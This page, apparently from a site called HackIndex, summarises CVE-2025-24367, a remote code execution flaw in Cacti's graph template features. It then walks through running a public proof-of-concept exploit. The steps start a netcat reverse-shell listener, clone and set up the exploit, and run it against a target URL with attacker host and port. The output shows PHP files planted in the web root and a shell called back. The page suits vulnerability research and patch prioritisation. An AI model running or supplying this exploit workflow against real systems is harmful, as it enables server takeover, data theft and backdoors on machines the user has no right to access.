Skip to content
HackIndex logo

HackIndex

CVE-2025-24367:
Cacti RCE

Published: Feb 21, 2026
High
Improper Neutralization of Line Delimiters

CVE-2025-24367 is a Cacti bug disclosed January 27, 2025 where a logged-in user can abuse the graph/graph template features to make Cacti create arbitrary PHP files in the web root. Once that happens, the attacker can request that file in a browser to get remote code execution, potentially taking over the server process, stealing data, changing configs, or planting a backdoor.

Cacti RCE
TheCyberGeek/CVE-2025-24367-Cacti-PoC
Proof of Concept for CVE-2025-24367
View source (opens in new tab)

First start a reverse shell listener

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
listening on $LPORT ...

Then run the exploit on the target

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2025-24367-Cacti-PoC
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip3 install requests beautifulsoup4
 
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py -u $USER -p $PASSWORD -i $LHOST -l $LPORT -url http://$TARGET
[+] Cacti Instance Found!
[+] Serving HTTP on port 80
[+] Login Successful!
[+] Got graph ID: 226
[i] Created PHP filename: Dgvzz.php
[+] Got payload: /bash
[i] Created PHP filename: pzs79.php
[+] Hit timeout, looks good for shell, check your listener!
[+] Stopped HTTP server on port 80